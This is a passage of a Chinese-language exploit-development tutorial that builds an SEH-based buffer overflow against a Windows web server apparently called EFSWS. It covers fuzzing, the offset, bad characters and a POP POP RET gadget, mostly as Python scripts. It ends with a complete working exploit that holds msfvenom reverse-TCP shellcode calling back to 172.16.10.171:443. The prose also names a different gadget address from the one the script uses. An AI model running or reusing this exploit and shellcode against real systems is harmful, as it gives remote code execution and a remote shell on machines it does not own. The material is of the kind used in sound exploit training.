1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #!/usr/bin/python import socket import sys import string buffer = "A" * 5000 payload = "GET %d" + str(buffer) + " HTTP/1.1\r\n" payload += "Host: bof.local\r\n" payload += "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36\r\n" payload += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" print "[*] Starting to Fuzz GET Variable with %s bytes" %len(payload) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('bof.local',80)) print "[*] Connected to bof.local on Port 80" s.send((payload)) s.close() print "[*] Finished Fuzzing GET Variable with %s bytes" %len(payload)
一旦完成运行(只要我们已EFSWS
打开Immunity 和/或连接),我们就会注意到我们实际上造成了崩溃,让我们分析下面的屏幕截图,看看我们做了什么。
如您所见,在这种情况下,我们已经用用户提供的输入超出了nSEH 和SEH 的地址AAAA
41414141
-我们也对我们有些新的限制… EAX寄存器 -如您所见,右上方EAX
包含的41414141
是我们的A
缓冲区。-稍后可能会有用。
2.2.2 寻找偏移 现在,我们已经分析了崩溃并找到了漏洞, 我们可以继续计算偏移量,并计算出使A's
我们超出SEH 和nSEH 指针所需的时间。为此,我将通过以下命令使用mona 来计算非重复字符串(也称为循环模式) 。
现在,我将fuzzer.py
再次使用我的脚本并将其修改为发送我的模式5000
A's
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #!/usr/bin/python import socket import sys import string buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6...." payload = "GET %d" + str(buffer) + " HTTP/1.1\r\n" payload += "Host: bof.local\r\n" payload += "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36\r\n" payload += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" print "[*] Starting to Fuzz GET Variable with %s bytes" %len(payload) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('bof.local',80)) print "[*] Connected to bof.local on Port 80" s.send((payload)) s.close() print "[*] Finished Fuzzing GET Variable with %s bytes" %len(payload)
我们的应用程序现在将返回崩溃状态并报告访问冲突, 但是如果我们检查SEH Chain 并跳转到堆栈上的SE Handler 的值,我们将注意到它实际上已经超出了我们的循环模式,而不是一长串A's
运行以上任一命令都将报告,超出nSEH 值的偏移量是4061字节 -我们现在可以修改漏洞利用以反映"A" * 4061
2.2.3 寻找坏字符 在这里,我们将采用与上述相同的方法,在该方法中,我们将每个可能的字符发送到缓冲区旁边,并分析它们在内存转储中的显示方式-在此还值得注意的是,我们必须为\n
&排除字符,\r
因为我们没有希望在我们的缓冲区旁边发送装盒返回和新行,以有效地分解原始HTTP请求 。
我将在此处使用以下脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #!/usr/bin/python import socket import sys nseh = "B"*4 seh = "C"*4 badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") buffer = "A" * (4061-len(badchars)) print "[*] There are %s" %len(badchars) + " bad chars to test" print "[*] Starting to GET Variable" buffer += badchars #All of badchars buffer += nseh #BBBB buffer += seh #CCCC junk = "D"*(5000-len(buffer)) buffer += junk #Bunch of D"s to fill remaining space payload = "GET %d" + str(buffer) + " HTTP/1.1\r\n" payload += "Host: bof.local\r\n" payload += "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36\r\n" payload += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" print "[*] Starting to Fuzz GET Variable with %s bytes" %len(payload) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('bof.local',80)) print "[*] Connected to bof.local on Port 80" s.send((payload)) s.close() print "[*] Finished Fuzzing GET Variable with %s bytes" %len(payload)
假设我们反复冲洗并找到内存转储中的所有无效字符,我们将找到所需的东西,在这种情况下,我的发现是
1 \x00\x0d\x0a\x0c\x20\x25\x2b\x2f\x5c
2.2.4 查找POP POP RET指令 在本文中,我已经对此进行了广泛的介绍,因此,我将直接进入操作并找到包含pop pop ret
指令的模块。
当然,我们将再次使用mona 通过以下方便的命令来完成此操作
当然,这里的目标是找到一个未经任何安全限制(例如ASLR ,Safe SEH 等)编译的模块。
您会注意到,在运行时,!mona seh
它会在日志窗口中显示10个结果,但没有一个真正适合您,很容易在这里感到困惑,并开始怀疑是否还有要使用的模块。然而!如果检查seh.txt
位于mona 工作目录中的.txt
文件,您会发现一个非常大的文件,其中包含数百个,甚至数千个可用模块。
以我为例,我滚动浏览了所有以开头的模块,00
以避免无意中在缓冲区中实现流氓空字节 。
我选择的选项是 0x1000108b
现在,我将此值添加到我的python脚本中的SEH 变量中,并执行它以验证我的想法是正确的,并且执行按预期进行。
更新的Python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #!/usr/bin/python import socket import sys nseh = "B"*4 seh = "\x99\xab\x01\x10" #0x1001ab99 pop pop ret buffer = "A" * 4061 print "[*] Starting to GET Variable" buffer += nseh #BBBB buffer += seh #pop pop ret junk = "D"*(10000-len(buffer)) buffer += junk #Bunch of D"s to fill remaining space payload = "GET %d" + str(buffer) + " HTTP/1.1\r\n" payload += "Host: bof.local\r\n" payload += "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36\r\n" payload += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" print "[*] Starting to Fuzz GET Variable with %s bytes" %len(payload) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('bof.local',80)) print "[*] Connected to bof.local on Port 80" s.send((payload)) s.close() print "[*] Finished Fuzzing GET Variable with %s bytes" %len(payload)
执行后检查抗扰性 显示SEH Handler 现在已被我们的pop pop ret
小工具(也称为1001ab99) 的内存地址覆盖
而且,如果我们不通过Shift + F9 将异常传递给程序,则会将nSEH pop pop ret
的值和nSEH 的值放置在EIP寄存器中以 备执行。答对了!
在这种情况下,053A6FAC 是堆栈中nSEH 的地址,因此我们执行此位置的任何内容都将被执行。如下面的屏幕截图所示。
2.2.5 生成Shellcode 现在与VulnServer不同,在缓冲区之后 我们可以使用的空间非常有限- 在这种情况下,精确到52字节 ,在我们的nSEH 和SEH 值之后,我们还有 很多空间,精确到931字节 。
现在,只要对我们的shell代码进行一点编码,我们就应该能够将我们的shellcode放在这里,并Short JMP
在nSEH 指针中添加一些代码直接跳入其中。
但是,首先让我们使用可信任的MSFVenom 生成一些shellcode
1 m0chan@kali:/> msfvenom -p windows/shell/reverse_tcp LHOST=172.16.10.171 LPORT=443 EXITFUNC=thread -f c -a x86 --platform windows -b "\x00\x0d\x0a\x0c"
您可能会注意到,这次我选择了分段式负载,而无段式只是为了帮助减小负载大小。
2.2.6 最终利用 跳转到shell代码并执行最终的shellcode。为了安全起见,现在要做的所有工作就是将我们的shell代码D
与一些缓冲区一起放在缓冲区中NOPS
,并从nSEH 执行6字节的 跳转,该跳转将落入 我们的NOP Sled并直接进入shellcode。
我们可以做到这一点
1 nseh = "\xeb\x06\x90\x90"
现在我们的最终漏洞利用将如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #!/usr/bin/python import socket import sys nseh = "\xeb\x06\x90\x90" seh = "\x99\xab\x01\x10" #0x1001ab99 pop pop ret #msfvenom -p windows/shell/reverse_tcp LHOST=172.16.10.171 LPORT=443 EXITFUNC=thread -f c -a x86 --platform windows -b "\x00\x0d\x0a\x0c\x20\x25\x2b\x2f\x5c" shellcodenops = "\x90\x90\x90\x90" shellcode = ( "\xbd\xe0\x3c\x1c\xcb\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" "\x5b\x31\x6a\x14\x83\xea\xfc\x03\x6a\x10\x02\xc9\xe0\x23\x40" "\x32\x19\xb4\x24\xba\xfc\x85\x64\xd8\x75\xb5\x54\xaa\xd8\x3a" "\x1f\xfe\xc8\xc9\x6d\xd7\xff\x7a\xdb\x01\x31\x7a\x77\x71\x50" "\xf8\x85\xa6\xb2\xc1\x46\xbb\xb3\x06\xba\x36\xe1\xdf\xb1\xe5" "\x16\x6b\x8f\x35\x9c\x27\x1e\x3e\x41\xff\x21\x6f\xd4\x8b\x78" "\xaf\xd6\x58\xf1\xe6\xc0\xbd\x3f\xb0\x7b\x75\xb4\x43\xaa\x47" "\x35\xef\x93\x67\xc4\xf1\xd4\x40\x36\x84\x2c\xb3\xcb\x9f\xea" "\xc9\x17\x15\xe9\x6a\xdc\x8d\xd5\x8b\x31\x4b\x9d\x80\xfe\x1f" "\xf9\x84\x01\xf3\x71\xb0\x8a\xf2\x55\x30\xc8\xd0\x71\x18\x8b" "\x79\x23\xc4\x7a\x85\x33\xa7\x23\x23\x3f\x4a\x30\x5e\x62\x03" "\xf5\x53\x9d\xd3\x91\xe4\xee\xe1\x3e\x5f\x79\x4a\xb7\x79\x7e" "\xdb\xdf\x79\x50\x63\x8f\x87\x51\x94\x86\x43\x05\xc4\xb0\x62" "\x26\x8f\x40\x8a\xf3\x3a\x4a\x1c\x50\xaa\x40\x77\xc0\xc9\x54" "\x86\xaa\x47\xb2\xd8\x9c\x07\x6a\x99\x4c\xe8\xda\x71\x87\xe7" "\x05\x61\xa8\x2d\x2e\x08\x47\x98\x07\xa5\xfe\x81\xd3\x54\xfe" "\x1f\x9e\x57\x74\xaa\x5f\x19\x7d\xdf\x73\x4e\x1a\x1f\x8b\x8f" "\x8f\x1f\xe1\x8b\x19\x77\x9d\x91\x7c\xbf\x02\x69\xab\xc3\x44" "\x95\x2a\xf2\x3f\xa0\xb8\xba\x57\xcd\x2c\x3b\xa7\x9b\x26\x3b" "\xcf\x7b\x13\x68\xea\x83\x8e\x1c\xa7\x11\x31\x75\x14\xb1\x59" "\x7b\x43\xf5\xc5\x84\xa6\x85\x02\x7a\x35\xa2\xaa\x13\xc5\xf2" "\x4a\xe4\xaf\xf2\x1a\x8c\x24\xdc\x95\x7c\xc5\xf7\xfd\x14\x4c" "\x96\x4c\x84\x51\xb3\x11\x18\x52\x30\x8a\xab\x29\x39\x2d\x4c" "\xce\x53\x4a\x4c\xcf\x5b\x6c\x70\x06\x62\x1a\xb7\x9b\xd1\x05" "\x2a\x31\x2c\xae\xf3\xd0\x8d\xb3\x03\x0f\xd1\xcd\x87\xa5\xaa" "\x29\x97\xcc\xaf\x76\x1f\x3d\xc2\xe7\xca\x41\x71\x07\xdf") buffer = "A" * 4061 print "[*] Starting to GET Variable" buffer += nseh #BBBB buffer += seh #pop pop ret buffer += shellcodenops buffer += shellcode junk = "D"*(10000-len(buffer)) buffer += junk #Bunch of D"s to fill remaining space payload = "GET %d" + str(buffer) + " HTTP/1.1\r\n" payload += "Host: bof.local\r\n" payload += "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36\r\n" payload += "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" print "[*] Starting to Fuzz GET Variable with %s bytes" %len(payload) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('bof.local',80)) print "[*] Connected to bof.local on Port 80" s.send((payload)) s.close() print "[*] Finished Fuzzing GET Variable with %s bytes" %len(payload)
与VulnServer 相似-我还在Visio中创建了一个漂亮的小图,以演示该漏洞利用过程并从较高的角度进行跳转。
0x03 参考资料/资源 特别鸣谢以下所有民众:
https://h0mbre.github.io
https://www.securitysift.com
https://captmeelo.com
https://www.fuzzysecurity.com
https://securitychops.com
https://nutcrackerssecurity.github.io/Windows4.html